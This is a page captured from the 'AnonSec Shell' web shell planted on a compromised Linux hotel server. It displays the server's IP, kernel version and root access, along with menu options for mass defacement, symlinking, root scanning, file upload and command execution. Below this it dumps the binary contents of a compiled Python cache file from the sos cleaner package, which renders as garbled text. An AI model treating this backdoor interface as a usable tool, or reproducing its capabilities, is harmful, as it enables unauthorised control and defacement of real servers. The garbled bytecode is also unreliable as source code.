AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/cleaner/mappings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/cleaner/mappings/__pycache__/__init__.cpython-310.pyc
o

���b��@s&ddlZddlmZGdd�d�ZdS)�N)�Lockc@s\eZdZdZgZgZdZdd�Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dd�ZdS)�SoSMapz�Standardized way to store items with their obfuscated counterparts.

    Each type of sanitization that SoSCleaner supports should have a
    corresponding SoSMap() object, to allow for easy retrieval of obfuscated
    items.
    TcCs i|_t�|_g|_t�|_dS)N)�dataset�set�
_regexes_made�compiled_regexesr�lock)�self�r
�?/usr/lib/python3/dist-packages/sos/cleaner/mappings/__init__.py�__init__szSoSMap.__init__cCsB|r||jvs||j��vrdS|jD]}t�||�rdSqdS)z�Some items need to be completely ignored, for example link-local or
        loopback addresses should not be obfuscated
        TN)�	skip_keysr�values�ignore_matches�re�match)r	�item�skipr
r
r�ignore_item#s
��zSoSMap.ignore_itemcCsb|�|�r|S|j�|�|�|j|<|jr|�|�|j|Wd�S1s*wYdS)z�Add a particular item to the map, generating an obfuscated pair
        for it.

        Positional arguments:

            :param item:        The plaintext object to obfuscate
        N)rr�
sanitize_itemr�compile_regexes�add_regex_item�r	rr
r
r�add-s

$�z
SoSMap.addcCsV|�|�rdS||jvr)|j�|�|j�||�|�f�|jjdd�dd�dSdS)z�Add an item to the regexes dict and then re-sort the list that the
        parsers will use during parse_line()

        :param item:    The unobfuscated item to generate a regex for
        :type item:     ``str``
        NcSst|d�S)Nr)�len)�xr
r
r�<lambda>Rsz'SoSMap.add_regex_item.<locals>.<lambda>T)�key�reverse)rrrr�append�get_regex_result�sortrr
r
rr=s

�zSoSMap.add_regex_itemcCst�|tj�S)a9Generate the object/value that is used by the parser when iterating
        over pre-generated regexes during parse_line(). For most parsers this
        will simply be a ``re.Pattern()`` object, but for more complex parsers
        this can be overridden to provide a different object, e.g. a tuple,
        for that parer's specific iteration needs.

        :param item:    The unobfuscated string to generate the regex for
        :type item:     ``str``

        :returns:       A compiled regex pattern for the item
        :rtype:         ``re.Pattern``
        )r�compile�Irr
r
rr Ts
zSoSMap.get_regex_resultcCs|S)z�Perform the obfuscation relevant to the item being added to the map.

        This should be overridden by each type of map that subclasses SoSMap

        Positional arguments:

            :param item:        The plaintext object to obfuscate
        r
rr
r
rrcs	zSoSMap.sanitize_itemcCs,|�|�r|S||jvr|�|�S|j|S)z�Retrieve an item's obfuscated counterpart from the map. If the item
        does not yet exist in the map, add it by generating one on the fly
        )rrrrr
r
r�getns




z
SoSMap.getcCs|j�|�dS)a)Update the map using information from a previous run to ensure that
        we have consistent obfuscation between reports

        Positional arguments:

            :param map_dict:    A dict of mappings with the form of
                                {clean_entry: 'obfuscated_entry'}
        N)r�update)r	�map_dictr
r
r�conf_updatexs	zSoSMap.conf_updateN)�__name__�
__module__�__qualname__�__doc__rr
rrrrrr rr$r'r
r
r
rrs

r)r�	threadingrrr
r
r
r�<module>s


Anon7 - 2022
AnonSec Team